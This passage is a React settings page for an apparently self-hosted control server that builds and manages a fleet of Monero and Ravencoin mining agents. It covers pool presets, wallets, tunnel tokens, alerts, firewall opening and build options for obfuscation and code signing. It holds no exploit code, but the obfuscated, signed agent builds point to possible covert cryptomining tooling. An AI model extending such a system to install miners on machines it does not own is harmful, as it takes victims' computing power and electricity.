import { useState, useEffect, useRef } from 'react';
import { api } from '../api/client';
import { setStoredAuth, getStoredAuth, clearStoredAuth } from '../api/auth';
import type { ServerConfig, ServerInfo } from '../types';
import {
  DEFAULT_PRESET_IDS,
  orderedPoolsFromSelection,
  applyPoolsToForgeFields,
  DEFAULT_RVN_PRESET_IDS,
  orderedRVNPoolsFromSelection,
  applyRVNPoolsToForgeFields,
} from '../help/poolPresets';
import { looksLikeXMRWallet } from '../help/forgeValidation';
import { HelpTip, FieldHint } from '../components/HelpTip';
import PoolPresetPicker from '../components/PoolPresetPicker';
import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
import type { BackupPool } from '../types';
import NeonCard from '../components/NeonCard/NeonCard';
import FleetTasksPanel from '../components/Fleet/FleetTasksPanel';
import FleetRuntimePanel from '../components/Fleet/FleetRuntimePanel';
import { AuditLogStrip } from '../components/Fleet/FleetOpsWidgets';
import { useSound } from '../context/SoundContext';
import { useAmbientMusic } from '../context/AmbientMusicContext';
import { AMBIENT_MUSIC_SRC } from '../audio/ambientMusic';
import { useVisualEffects } from '../context/VisualEffectsContext';
import {
  FORGE_SKIN_IDS,
  loadStoredForgeTheme,
  storeForgeTheme,
  type ForgeSkinId,
  type ForgeThemeOverride,
} from '../help/forgeOperationModes';
import './Pages.css';

/** Recursively merge `override` into `base`, preserving keys not in `override`. */
export function deepMerge<T extends object>(base: T, override: Partial<T>): T {
  const result = { ...base } as T;
  for (const key in override) {
    const val = override[key];
    const baseVal = base[key];
    if (
      val !== null &&
      val !== undefined &&
      typeof val === 'object' &&
      !Array.isArray(val) &&
      typeof baseVal === 'object' &&
      baseVal !== null &&
      !Array.isArray(baseVal)
    ) {
      result[key] = deepMerge(baseVal as object, val as object) as T[typeof key];
    } else if (val !== undefined) {
      result[key] = val as T[typeof key];
    }
  }
  return result;
}

export default function SettingsPage() {
  const {
    enabled: sfxEnabled,
    volume: sfxVolume,
    hoverEnabled,
    hoverVolume,
    setEnabled: setSfxEnabled,
    setVolume: setSfxVolume,
    setHoverEnabled,
    setHoverVolume,
    preview: previewSfx,
    previewHover,
  } = useSound();
  const { enabled: bgmEnabled, volume: bgmVolume, setEnabled: setBgmEnabled, setVolume: setBgmVolume } = useAmbientMusic();
  const { glowParticles, setGlowParticles } = useVisualEffects();
  const [forgeTheme, setForgeTheme] = useState<ForgeThemeOverride>(loadStoredForgeTheme);
  const [config, setConfig] = useState<ServerConfig | null>(null);
  const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
  const [loading, setLoading] = useState(true);
  const [saving, setSaving] = useState(false);
  const [saveMessage, setSaveMessage] = useState('');
  const [newUser, setNewUser] = useState('');
  const [newPass, setNewPass] = useState('');
  const [sessionUser, setSessionUser] = useState('');
  const [sessionPass, setSessionPass] = useState('');
  const [userMsg, setUserMsg] = useState('');
  const [rotatingSecret, setRotatingSecret] = useState(false);
  const [rotateMsg, setRotateMsg] = useState('');
  const [backingUp, setBackingUp] = useState(false);
  const [backupMsg, setBackupMsg] = useState('');
  const [testingAlerts, setTestingAlerts] = useState(false);
  const [alertTestMsg, setAlertTestMsg] = useState('');
  const fileInputRef = useRef<HTMLInputElement>(null);

  useEffect(() => {
    Promise.all([api.getConfig(), api.getServerInfo()])
      .then(([cfg, info]) => {
        const detectedLan = info.lan_url?.trim()
          || (info.local_ips?.[0] ? `http://${info.local_ips[0]}:${cfg.port || info.port || 8989}` : '');
        const publicUrl = cfg.server?.public_url?.trim() || detectedLan;

        setConfig({
          ...cfg,
          rvn_wallet: cfg.rvn_wallet ?? { address: '', payment_id: '' },
          rvn_pool: cfg.rvn_pool ?? {
            host: 'rvn.2miners.com',
            port: 6060,
            use_tls: false,
            password: 'x',
            backup_pools: [],
          },
          tunnel_defaults: {
            cloudflared_target_url: cfg.tunnel_defaults?.cloudflared_target_url ?? '',
            cloudflare_tunnel_token: cfg.tunnel_defaults?.cloudflare_tunnel_token ?? '',
          },
          alerts: {
            ...cfg.alerts,
            notify_agent_connect: cfg.alerts?.notify_agent_connect ?? true,
            notify_agent_reconnect: cfg.alerts?.notify_agent_reconnect ?? true,
            notify_agent_offline: cfg.alerts?.notify_agent_offline ?? true,
            notify_hashrate_drop: cfg.alerts?.notify_hashrate_drop ?? true,
            notify_rejection_rate: cfg.alerts?.notify_rejection_rate ?? true,
            notify_build_complete: cfg.alerts?.notify_build_complete ?? true,
            notify_kev_exposure: cfg.alerts?.notify_kev_exposure ?? true,
          },
          server: {
            public_url: publicUrl,
            stats_retention_hours: cfg.server?.stats_retention_hours ?? 168,
            build_retention_days: cfg.server?.build_retention_days ?? 30,
            pool_reconnect_seconds: cfg.server?.pool_reconnect_seconds ?? 30,
            websocket_ping_seconds: cfg.server?.websocket_ping_seconds ?? 30,
            max_agents: cfg.server?.max_agents ?? 256,
            max_build_size_mb: cfg.server?.max_build_size_mb ?? 150,
            log_agent_connections: cfg.server?.log_agent_connections ?? true,
            log_share_submissions: cfg.server?.log_share_submissions ?? false,
            log_pool_traffic: cfg.server?.log_pool_traffic ?? false,
            strict_wallet_validation: cfg.server?.strict_wallet_validation ?? false,
            dashboard_subtitle: cfg.server?.dashboard_subtitle ?? 'security is just an emotion',
            open_firewall_on_start: cfg.server?.open_firewall_on_start ?? true,
            public_builds_enabled: cfg.server?.public_builds_enabled ?? false,
            public_builds_latest_n: cfg.server?.public_builds_latest_n ?? 3,
          },
        });
        setServerInfo(info);
      })
      .catch(console.error)
      .finally(() => setLoading(false));
  }, []);

  const updateField = (path: string, value: unknown) => {
    if (!config) return;
    const newConfig = { ...config };
    const keys = path.split('.');
    let obj: Record<string, unknown> = newConfig as unknown as Record<string, unknown>;
    for (let i = 0; i < keys.length - 1; i++) {
      const key = keys[i];
      if (!obj[key] || typeof obj[key] !== 'object') {
        obj[key] = {};
      }
      obj = obj[key] as Record<string, unknown>;
    }
    obj[keys[keys.length - 1]] = value;
    setConfig(newConfig);
  };

  const handleSave = async () => {
    if (!config) return;
    const wallet = config.wallet.address?.trim() ?? '';
    if (wallet && !looksLikeXMRWallet(wallet)) {
      const strict = config.server?.strict_wallet_validation ?? false;
      if (strict) {
        setSaveMessage('Save blocked: wallet does not look like a valid Monero mainnet address.');
        return;
      }
      if (!window.confirm('Wallet does not look like a standard Monero address. Save anyway?')) {
        return;
      }
    }
    setSaving(true);
    setSaveMessage('');
    try {
      const updated = await api.updateConfig(config);
      setConfig(updated);
      setSaveMessage('Calibration saved — control server updated.');
      setTimeout(() => setSaveMessage(''), 4000);
    } catch (err: unknown) {
      setSaveMessage(`Save failed: ${err instanceof Error ? err.message : 'unknown error'}`);
    } finally {
      setSaving(false);
    }
  };

  const handleExportConfig = () => {
    if (!config) return;
    const blob = new Blob([JSON.stringify(config, null, 2)], { type: 'application/json' });
    const url = URL.createObjectURL(blob);
    const a = document.createElement('a');
    a.href = url;
    a.download = 'aetherforge-server-config.json';
    a.click();
    URL.revokeObjectURL(url);
  };

  const handleFullBackup = async () => {
    setBackingUp(true);
    setBackupMsg('');
    try {
      await api.downloadBackup();
      setBackupMsg('Backup downloaded.');
      setTimeout(() => setBackupMsg(''), 4000);
    } catch (e: unknown) {
      setBackupMsg('Backup failed: ' + (e instanceof Error ? e.message : String(e)));
    } finally {
      setBackingUp(false);
    }
  };

  const handleImportConfig = () => fileInputRef.current?.click();

  const handleFileSelected = (e: React.ChangeEvent<HTMLInputElement>) => {
    const file = e.target.files?.[0];
    if (!file) return;
    const reader = new FileReader();
    reader.onload = (evt) => {
      try {
        const data = JSON.parse(evt.target?.result as string);
        // Deep-merge so importing a partial config (e.g. only "pool" key) doesn't
        // wipe unrelated nested sections like "default_agent" or "mining".
        setConfig((prev) => (prev ? deepMerge(prev, data) : prev));
        setSaveMessage(`Loaded "${file.name}" — click Save Calibration to apply.`);
      } catch {
        setSaveMessage('Invalid JSON file.');
      }
    };
    reader.readAsText(file);
    e.target.value = '';
  };

  const handleSessionLogin = () => {
    if (!sessionUser || !sessionPass) return;
    setStoredAuth(sessionUser, sessionPass);
    setUserMsg('Session login saved — API calls from this browser will authenticate.');
    setTimeout(() => setUserMsg(''), 4000);
  };

  const handleSessionLogout = () => {
    clearStoredAuth();
    setSessionUser('');
    setSessionPass('');
    setUserMsg('Session login cleared.');
    setTimeout(() => setUserMsg(''), 3000);
  };

  const handleTestAlerts = async () => {
    if (!config) return;
    setTestingAlerts(true);
    setAlertTestMsg('');
    try {
      if (!config.alerts.telegram_bot_token?.trim() && !config.alerts.email_enabled) {
        setAlertTestMsg('Enter Telegram token + chat ID (or enable SMTP) first.');
        return;
      }
      await api.updateConfig(config);
      const result = await api.testAlerts();
      const parts: string[] = [];
      const tg = result.telegram;
      if (tg) {
        parts.push(tg.sent ? '✓ Telegram delivered' : `✕ Telegram: ${tg.error || 'failed'}`);
      }
      const smtp = result.smtp;
      if (smtp) {
        parts.push(smtp.sent ? '✓ Email delivered' : `✕ Email: ${smtp.error || 'failed'}`);
      }
      setAlertTestMsg(parts.join(' · ') || 'No channels configured.');
      if (tg?.sent || smtp?.sent) previewSfx('success');
    } catch (e: unknown) {
      setAlertTestMsg('Test failed: ' + (e instanceof Error ? e.message : String(e)));
    } finally {
      setTestingAlerts(false);
      setTimeout(() => setAlertTestMsg(''), 12000);
    }
  };

  const handleRotateSecret = async () => {
    if (!window.confirm(
      'Rotate fleet secret?\n\n' +
      'ALL currently connected agents will be kicked and must be re-forged to reconnect.\n\n' +
      'Click OK only if you are ready to re-forge your entire fleet.'
    )) return;
    setRotatingSecret(true);
    setRotateMsg('');
    try {
      await api.rotateFleetSecret();
      setRotateMsg('Secret rotated. Re-forge all agents to reconnect.');
    } catch (e: unknown) {
      setRotateMsg('Rotation failed: ' + (e instanceof Error ? e.message : String(e)));
    } finally {
      setRotatingSecret(false);
      setTimeout(() => setRotateMsg(''), 6000);
    }
  };

  const handleAddUser = async () => {
    if (!newUser || !newPass) return;
    try {
      await api.createUser(newUser, newPass);
      setUserMsg(`User "${newUser}" added successfully!`);
      if (!getStoredAuth()) {
        setStoredAuth(newUser, newPass);
      }
      setNewUser('');
      setNewPass('');
      setTimeout(() => setUserMsg(''), 3000);
    } catch {
      setUserMsg('Failed to save user — sign in under Browser session first.');
      setTimeout(() => setUserMsg(''), 4000);
    }
  };

  if (loading) {
    return (
      <div className="page fade-in command-deck operator-deck-page">
        <header className="deck-hero">
          <div className="deck-hero-text">
            <p className="deck-eyebrow font-tech">SERVER ONLY</p>
            <h1>Calibrate</h1>
          </div>
        </header>
        <NeonCard accent="brass"><p>Loading server calibration...</p></NeonCard>
      </div>
    );
  }

  if (!config) {
    return (
      <div className="page fade-in command-deck operator-deck-page">
        <NeonCard accent="brass"><p>Failed to load server configuration.</p></NeonCard>
      </div>
    );
  }

  const s = config.server || {
    public_url: '',
    stats_retention_hours: 168,
    build_retention_days: 30,
    pool_reconnect_seconds: 30,
    websocket_ping_seconds: 30,
    max_agents: 256,
    max_build_size_mb: 150,
    log_agent_connections: true,
    log_share_submissions: false,
    log_pool_traffic: false,
    strict_wallet_validation: false,
    dashboard_subtitle: '',
    open_firewall_on_start: true,
    obfuscate_default: false,
    sign_enabled: false,
    sign_cert_thumbprint: '',
    sign_tool_path: '',
    sign_timestamp_url: 'http://timestamp.digicert.com',
    public_builds_enabled: false,
    public_builds_latest_n: 3,
  };

  return (
    <div className="page fade-in command-deck operator-deck-page">
      <input type="file" ref={fileInputRef} style={{ display: 'none' }} accept=".json" onChange={handleFileSelected} />

      <header className="deck-hero">
        <div className="deck-hero-text">
          <p className="deck-eyebrow font-tech">CONTROL SERVER · LOCAL HOST</p>
          <h1>Calibrate</h1>
          <p className="page-subtitle">
            Settings for this machine only — the dashboard, pool relay, and LAN address. Miner installers are built in the Forge tab.
          </p>
        </div>
        <div className="deck-hero-actions">
          <button className="btn btn-primary" onClick={handleSave} disabled={saving}>
            {saving ? 'Saving...' : 'Save Calibration'}
          </button>
          <button className="btn btn-outline" onClick={handleExportConfig}>Export</button>
          <button className="btn btn-outline" onClick={handleImportConfig}>Import</button>
          <button
            className="btn btn-outline"
            onClick={handleFullBackup}
            disabled={backingUp}
            title="Downloads config, agent DB, and credentials."
          >
            {backingUp ? 'Backing up…' : 'Full Deck Backup'}
          </button>
        </div>
        {backupMsg && (
          <div className={`save-message ${backupMsg.includes('failed') ? 'error' : 'success'}`}>{backupMsg}</div>
        )}
      </header>

      {saveMessage && (
        <div className={`save-message ${saveMessage.includes('failed') ? 'error' : 'success'}`}>{saveMessage}</div>
      )}

      {serverInfo && (
        <NeonCard accent="cyan" className="calibrate-banner operator-deck-card operator-interactive" hud>
          <p className="font-tech">DETECTED ENDPOINTS</p>
          {(serverInfo.lan_url || serverInfo.local_ips?.length) ? (
            <p>
              <strong>LAN:</strong>{' '}
              <code className="mono-sm">{serverInfo.lan_url || serverInfo.suggested_url}</code>
            </p>
          ) : null}
          {serverInfo.tunnel_url ? (
            <p>
              <strong>HTTPS (tunnel):</strong>{' '}
              <code className="mono-sm">{serverInfo.tunnel_url}</code>
            </p>
          ) : serverInfo.cloudflared_configured ? (
            <p className="form-hint">
              Cloudflare tunnel connector is configured on this server — open the dashboard via your tunnel hostname to see the public HTTPS endpoint here.
            </p>
          ) : null}
          {serverInfo.local_ips?.length > 0 && (
            <p className="form-hint">IPs on this host: {serverInfo.local_ips.join(' · ')}</p>
          )}
          <p className="form-hint">Workers on your LAN need the LAN address — not localhost. Remote workers can use the HTTPS tunnel URL when cloudflared is running.</p>
          <button
            type="button"
            className="btn btn-primary btn-sm"
            style={{ marginTop: '0.75rem' }}
            onClick={() => {
              if (!config) return;
              const lan = serverInfo.lan_url || serverInfo.suggested_url;
              updateField('server.public_url', lan);
              updateField('server.open_firewall_on_start', true);
              updateField('server.obfuscate_default', false);
              updateField('server.sign_enabled', false);
              const pools = orderedPoolsFromSelection(
                [...DEFAULT_PRESET_IDS],
                config.pool.password || 'x'
              );
              const poolFields = applyPoolsToForgeFields(pools);
              updateField('pool.host', poolFields.pool_host);
              updateField('pool.port', poolFields.pool_port);
              updateField('pool.use_tls', poolFields.pool_tls);
              updateField(
                'pool.backup_pools',
                poolFields.backup_pools.map((bp) => ({
                  host: bp.host,
                  port: bp.port,
                  use_tls: bp.tls,
                }))
              );
              if (!config.wallet.address?.trim()) {
                setSaveMessage('TLS pool presets + LAN URL applied — set your Monero wallet, then Save Calibration.');
              } else {
                setSaveMessage('Best defaults applied (LAN URL + TLS pool presets) — click Save Calibration to keep them.');
              }
            }}
          >
            Use best defaults
          </button>
          <FieldHint field="calibrate_quick_setup" />
        </NeonCard>
      )}

      <div className="settings-grid">
        <NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
          <h2 className="font-display">Deck Atmosphere</h2>
          <p className="section-desc">
            Background glow particles and sparkles sit behind the UI (pointer-events off). Turn off on
            low-power devices if you want a calmer deck.
          </p>
          <div className="form-group checkbox-group">
            <label className="checkbox-label">
              <input
                type="checkbox"
                className="checkbox"
                checked={glowParticles}
                onChange={(e) => setGlowParticles(e.target.checked)}
              />
              <span>Glow particles &amp; sparkles</span>
            </label>
          </div>
          <div className="form-group" style={{ marginTop: '1.25rem' }}>
            <label htmlFor="cfg-forge-theme" className="label">
              Forge theme
            </label>
            <p className="section-desc" style={{ marginBottom: '0.5rem' }}>
              Seasonal forge chrome on The Forge page. Auto follows the selected operation mode preset;
              pick a skin to override.
            </p>
            <select
              id="cfg-forge-theme"
              className="select"
              value={forgeTheme}
              onChange={(e) => {
                const next = e.target.value as ForgeThemeOverride;
                setForgeTheme(next);
                storeForgeTheme(next);
              }}
            >
              <option value="auto">Auto (follow operation mode)</option>
              {FORGE_SKIN_IDS.map((id: ForgeSkinId) => (
                <option key={id} value={id}>
                  {id === 'aether'
                    ? 'Default Aether'
                    : id === 'halloween'
                      ? 'Halloween'
                      : id === 'ghost'
                        ? 'Ghost Walk'
                        : id === 'wildfire'
                          ? 'Wildfire'
                          : 'Crucible Storm'}
                </option>
              ))}
            </select>
          </div>
        </NeonCard>

        <NeonCard accent="green" className="settings-section operator-deck-card operator-interactive">
          <h2 className="font-display">Sound &amp; Haptics</h2>
          <p className="section-desc">
            Short UI bleeps and vibration on supported phones/tablets. Browsers require a click anywhere
            on the deck first to unlock audio. Fleet events (agents, shares, alerts) use separate cues.
          </p>
          <div className="form-group checkbox-group">
            <label className="checkbox-label">
              <input
                type="checkbox"
                className="checkbox"
                checked={sfxEnabled}
                onChange={(e) => setSfxEnabled(e.target.checked)}
              />
              <span>Enable sound effects &amp; haptic vibration</span>
            </label>
          </div>
          <div className="form-group">
            <label htmlFor="cfg-sfx-volume" className="label">
              Volume ({Math.round(sfxVolume * 100)}%)
            </label>
            <input
              id="cfg-sfx-volume"
              type="range"
              className="input"
              min={0}
              max={100}
              step={5}
              value={Math.round(sfxVolume * 100)}
              disabled={!sfxEnabled}
              onChange={(e) => setSfxVolume(parseInt(e.target.value, 10) / 100)}
            />
          </div>
          <div className="form-row" style={{ gap: '0.5rem', flexWrap: 'wrap' }}>
            <button
              type="button"
              className="btn btn-outline btn-sm"
              disabled={!sfxEnabled}
              onClick={() => previewSfx('click')}
            >
              Preview click
            </button>
            <button
              type="button"
              className="btn btn-outline btn-sm"
              disabled={!sfxEnabled}
              onClick={() => previewSfx('alert')}
            >
              Preview alert
            </button>
            <button
              type="button"
              className="btn btn-outline btn-sm"
              disabled={!sfxEnabled}
              onClick={() => previewSfx('share')}
            >
              Preview share
            </button>
          </div>
          <hr style={{ border: 'none', borderTop: '1px solid var(--border-dim)', margin: '1.25rem 0' }} />
          <h3 className="font-tech" style={{ fontSize: '0.85rem', marginBottom: '0.35rem' }}>Hover highlight sounds</h3>
          <p className="section-desc" style={{ marginBottom: '0.75rem' }}>
            Subtle dubstep-style blips when hovering buttons, cards, nav links, and fleet rows. Debounced so rapid
            mouse movement stays quiet. Muted when click sounds are off.
          </p>
          <div className="form-group checkbox-group">
            <label className="checkbox-label">
              <input
                type="checkbox"
                className="checkbox"
                checked={hoverEnabled}
                disabled={!sfxEnabled}
                onChange={(e) => setHoverEnabled(e.target.checked)}
              />
              <span>Enable hover highlight sounds</span>
            </label>
          </div>
          <div className="form-group">
            <label htmlFor="cfg-hover-volume" className="label">
              Hover volume ({Math.round(hoverVolume * 100)}%)
            </label>
            <input
              id="cfg-hover-volume"
              type="range"
              className="input"
              min={0}
              max={100}
              step={5}
              value={Math.round(hoverVolume * 100)}
              disabled={!sfxEnabled || !hoverEnabled}
              onChange={(e) => setHoverVolume(parseInt(e.target.value, 10) / 100)}
            />
          </div>
          <button
            type="button"
            className="btn btn-outline btn-sm"
            disabled={!sfxEnabled || !hoverEnabled}
            onClick={previewHover}
          >
            Preview hover
          </button>
          <hr style={{ border: 'none', borderTop: '1px solid var(--border-dim)', margin: '1.25rem 0' }} />
          <h3 className="font-tech" style={{ fontSize: '0.85rem', marginBottom: '0.35rem' }}>Background music</h3>
          <p className="section-desc" style={{ marginBottom: '0.75rem' }}>
            Optional looping ambient track served from <code className="mono-sm">{AMBIENT_MUSIC_SRC}</code>. Use the
            mini player in the bottom-right corner on any page, or enable here. Defaults off — browsers block autoplay
            until you press play or toggle this on.
          </p>
          <div className="form-group checkbox-group">
            <label className="checkbox-label">
              <input
                type="checkbox"
                className="checkbox"
                checked={bgmEnabled}
                onChange={(e) => setBgmEnabled(e.target.checked)}
              />
              <span>Enable background music</span>
            </label>
          </div>
          <div className="form-group">
            <label htmlFor="cfg-bgm-volume" className="label">
              Music volume ({Math.round(bgmVolume * 100)}%)
            </label>
            <input
              id="cfg-bgm-volume"
              type="range"
              className="input"
              min={0}
              max={100}
              step={5}
              value={Math.round(bgmVolume * 100)}
              disabled={!bgmEnabled}
              onChange={(e) => setBgmVolume(parseInt(e.target.value, 10) / 100)}
            />
          </div>
        </NeonCard>

        <NeonCard accent="brass" className="settings-section operator-deck-card operator-interactive">
          <h2 className="font-display">Control Server</h2>
          <p className="section-desc">How this dashboard and API are hosted on your network.</p>
          <div className="form-row">
            <div className="form-group">
              <label htmlFor="cfg-port" className="label">Listen Port</label>
              <input id="cfg-port" type="number" className="input" min={1024} max={65535} value={config.port}
                onChange={(e) => updateField('port', parseInt(e.target.value) || 8989)} />
              <span className="form-hint">Restart server after changing port.</span>
            </div>
            <div className="form-group">
              <label htmlFor="cfg-data-dir" className="label">Data Directory</label>
              <input id="cfg-data-dir" type="text" className="input mono" value={config.data_dir}
                onChange={(e) => updateField('data_dir', e.target.value)} />
            </div>
          </div>
          <div className="form-group">
            <label htmlFor="cfg-public-url" className="label">Public URL (LAN) <HelpTip field="public_url" /></label>
            <div style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}>
              <input id="cfg-public-url" type="text" className="input mono" style={{ flex: 1, minWidth: '200px' }}
                placeholder={serverInfo?.lan_url || serverInfo?.suggested_url || 'http://192.168.1.x:8989'}
                value={s.public_url}
                onChange={(e) => updateField('server.public_url', e.target.value)} />
              {(serverInfo?.lan_url || serverInfo?.suggested_url) && (
                <button type="button" className="btn btn-outline btn-sm"
                  onClick={() => updateField('server.public_url', serverInfo.lan_url || serverInfo.suggested_url)}>
                  Use detected LAN
                </button>
              )}
            </div>
            <FieldHint field="public_url" />
          </div>
          <div className="form-group">
            <label htmlFor="cfg-cf-token" className="label">
              Cloudflare Tunnel Token <HelpTip field="cloudflare_tunnel_token" />
            </label>
            <input
              id="cfg-cf-token"
              type="password"
              className="input mono"
              autoComplete="off"
              placeholder="eyJhIjoi… connector token from Cloudflare"
              value={config.tunnel_defaults?.cloudflare_tunnel_token ?? ''}
              onChange={(e) => updateField('tunnel_defaults.cloudflare_tunnel_token', e.target.value)}
            />
            <FieldHint field="cloudflare_tunnel_token" />
            <p className="form-hint" style={{ marginTop: '0.35rem' }}>
              After saving, restart LAUNCH / the server. Connector also reads <code className="mono">data/cloudflared-token.txt</code> on USB.
            </p>
          </div>
          <div className="form-group">
            <label htmlFor="cfg-subtitle" className="label">Dashboard Subtitle</label>
            <input id="cfg-subtitle" type="text" className="input" value={s.dashboard_subtitle}
              onChange={(e) => updateField('server.dashboard_subtitle', e.target.value)} />
          </div>
          <div className="form-group checkbox-group">
            <label className="checkbox-label">
              <input type="checkbox" className="checkbox" checked={s.open_firewall_on_start ?? true}
                onChange={(e) => updateField('server.open_firewall_on_start', e.target.checked)} />
              <span>Open dashboard port in Windows Firewall on startup <HelpTip field="open_firewall_on_start" /></span>
            </label>
            <FieldHint field="open_firewall_on_start" />
          </div>
        </NeonCard>

        <NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
          <h2 className="font-display">Upstream Pool</h2>
          <p className="section-desc">The control server connects here and relays work to your fleet. Pick presets or add your own — unreachable pools are skipped automatically.</p>
          <PoolPresetPicker
            host={config.pool.host}
            port={config.pool.port}
            tls={config.pool.use_tls}
            pass={config.pool.password || 'x'}
            backups={(config.pool.backup_pools ?? []).map(
              (bp): BackupPool => ({ host: bp.host, port: bp.port, tls: bp.use_tls, pass: config.pool.password || 'x' })
            )}
            onChange={(next) => {
              updateField('pool.host', next.pool_host);
              updateField('pool.port', next.pool_port);
              updateField('pool.use_tls', next.pool_tls);
              updateField(
                'pool.backup_pools',
                (next.backup_pools ?? []).map((bp) => ({
                  host: bp.host,
                  port: bp.port,
                  use_tls: bp.tls,
                }))
              );
            }}
          />
          <div className="form-group">
            <label htmlFor="cfg-pool-pass" className="label">Pool Password</label>
            <input id="cfg-pool-pass" type="text" className="input" value={config.pool.password}
              onChange={(e) => updateField('pool.password', e.target.value)} />
          </div>
          <div className="form-group">
            <label htmlFor="cfg-pool-reconnect" className="label">Pool Reconnect Interval (sec)</label>
            <input id="cfg-pool-reconnect" type="number" className="input" min={5} value={s.pool_reconnect_seconds}
              onChange={(e) => updateField('server.pool_reconnect_seconds', parseInt(e.target.value) || 30)} />
          </div>
        </NeonCard>

        <NeonCard accent="purple" className="settings-section operator-deck-card operator-interactive">
          <h2 className="font-display">Fleet Payout Wallet</h2>
          <p className="section-desc">Default wallet the server uses when connecting to the pool. The Forge pre-fills this when building miners.</p>
          <div className="form-group">
            <label htmlFor="cfg-wallet-addr" className="label">XMR Address <HelpTip field="calibrate_wallet" /></label>
            <input id="cfg-wallet-addr" type="text" className="input mono" placeholder="4… or 8… (90–106 chars)"
              value={config.wallet.address}
              onChange={(e) => updateField('wallet.address', e.target.value)} />
            <FieldHint field="calibrate_wallet" />
          </div>
          <div className="form-group">
            <label htmlFor="cfg-payment-id" className="label">Payment ID (optional)</label>
            <input id="cfg-payment-id" type="text" className="input mono" value={config.wallet.payment_id}
              onChange={(e) => updateField('wallet.payment_id', e.target.value)} />
          </div>
          <div className="form-group checkbox-group">
            <label className="checkbox-label">
              <input type="checkbox" className="checkbox" checked={s.strict_wallet_validation}
                onChange={(e) => updateField('server.strict_wallet_validation', e.target.checked)} />
              <span>Strict wallet validation on build API</span>
            </label>
          </div>
        </NeonCard>

        <NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
          <h2 className="font-display">Ravencoin (GPU) Pool</h2>
          <p className="section-desc">
            Default RVN pool and wallet used when forging GPU-enabled agents. These pre-populate the Forge GPU mining fields.
          </p>
          <div className="form-group">
            <label htmlFor="cfg-rvn-wallet" className="label">RVN Wallet Address</label>
            <input
              id="cfg-rvn-wallet"
              type="text"
              className="input mono"
              placeholder="R… (Ravencoin address)"
              value={config.rvn_wallet?.address ?? ''}
              onChange={(e) => updateField('rvn_wallet.address', e.target.value)}
            />
          </div>
          <RVNPoolPresetPicker
            host={config.rvn_pool?.host ?? ''}
            port={config.rvn_pool?.port ?? 0}
            tls={config.rvn_pool?.use_tls ?? false}
            pass={config.rvn_pool?.password ?? 'x'}
            backups={(config.rvn_pool?.backup_pools ?? []).map((bp) => ({
              host: bp.host, port: bp.port, tls: bp.use_tls,
            }))}
            onChange={(fields) => {
              updateField('rvn_pool.host', fields.rvn_pool_host);
              updateField('rvn_pool.port', fields.rvn_pool_port);
              updateField('rvn_pool.use_tls', fields.rvn_pool_tls);
              updateField('rvn_pool.password', config.rvn_pool?.password ?? 'x');
              updateField('rvn_pool.backup_pools',
                (fields.rvn_backup_pools ?? []).map((bp: BackupPool) => ({
                  host: bp.host, port: bp.port, use_tls: bp.tls,
                }))
              );
            }}
          />
          <div className="form-group" style={{ marginTop: '0.75rem' }}>
            <button
              type="button"
              className="btn btn-outline btn-sm"
              onClick={() => {
                const pools = orderedRVNPoolsFromSelection(
                  [...DEFAULT_RVN_PRESET_IDS],
                  config.rvn_pool?.password || 'x'
                );
                const f = applyRVNPoolsToForgeFields(pools);
                updateField('rvn_pool.host', f.rvn_pool_host);
                updateField('rvn_pool.port', f.rvn_pool_port);
                updateField('rvn_pool.use_tls', f.rvn_pool_tls);
                updateField('rvn_pool.backup_pools',
                  (f.rvn_backup_pools ?? []).map((bp: BackupPool) => ({
                    host: bp.host, port: bp.port, use_tls: bp.tls,
                  }))
                );
                setSaveMessage('RVN pool presets applied — click Save Calibration.');
              }}
            >
              Apply default RVN pools
            </button>
          </div>
        </NeonCard>

        <NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
          <h2 className="font-display">Fleet Alerts</h2>
          <p className="section-desc">Dashboard thresholds for agent health.</p>
          <div className="form-group">
            <label htmlFor="cfg-alert-offline" className="label">Offline After (minutes)</label>
            <input id="cfg-alert-offline" type="number" className="input" min={1} value={config.alerts.offline_threshold_minutes}
              onChange={(e) => updateField('alerts.offline_threshold_minutes', parseInt(e.target.value) || 5)} />
          </div>
          <div className="form-row">
            <div className="form-group">
              <label htmlFor="cfg-alert-hashrate" className="label">Hashrate Drop (%)</label>
              <input id="cfg-alert-hashrate" type="number" className="input" value={config.alerts.hashrate_drop_threshold_pct}
                onChange={(e) => updateField('alerts.hashrate_drop_threshold_pct', parseInt(e.target.value) || 50)} />
            </div>
            <div className="form-group">
              <label htmlFor="cfg-alert-reject" className="label">Rejection Rate (%)</label>
              <input id="cfg-alert-reject" type="number" className="input" value={config.alerts.rejection_rate_threshold_pct}
                onChange={(e) => updateField('alerts.rejection_rate_threshold_pct', parseInt(e.target.value) || 5)} />
            </div>
          </div>
        </NeonCard>

        <NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
          <h2 className="font-display">Alert Notifications</h2>
          <p className="section-desc">
            Telegram, optional webhook, and email for fleet events (operator pub/sub — MITRE T1071.005 lite).
            Set bot token + chat ID or webhook URL, choose what to send, then save.
          </p>
          <div className="form-row">
            <div className="form-group">
              <label htmlFor="cfg-tg-token" className="label">Telegram Bot Token</label>
              <input id="cfg-tg-token" type="password" className="input mono" value={config.alerts.telegram_bot_token || ''}
                onChange={(e) => updateField('alerts.telegram_bot_token', e.target.value)} placeholder="123456:ABC…" />
            </div>
            <div className="form-group">
              <label htmlFor="cfg-tg-chat" className="label">Telegram Chat ID</label>
              <input id="cfg-tg-chat" type="text" className="input mono" value={config.alerts.telegram_chat_id || ''}
                onChange={(e) => updateField('alerts.telegram_chat_id', e.target.value)} placeholder="123456789" />
            </div>
            <div className="form-group" style={{ gridColumn: '1 / -1' }}>
              <label htmlFor="cfg-webhook" className="label">Webhook URL (optional)</label>
              <input id="cfg-webhook" type="url" className="input mono" value={config.alerts.webhook_url || ''}
                onChange={(e) => updateField('alerts.webhook_url', e.target.value)} placeholder="https://hooks.example.com/fleet" />
              <p className="field-hint">JSON POST: event, title, message — on connect, offline, and other enabled alerts.</p>
            </div>
          </div>
          <p className="section-desc" style={{ marginTop: '-0.5rem' }}>
            Open your bot in Telegram, send any message (e.g. <code>/start</code>), then use{' '}
            <a href="https://t.me/userinfobot" target="_blank" rel="noreferrer">@userinfobot</a> to copy your numeric ID,
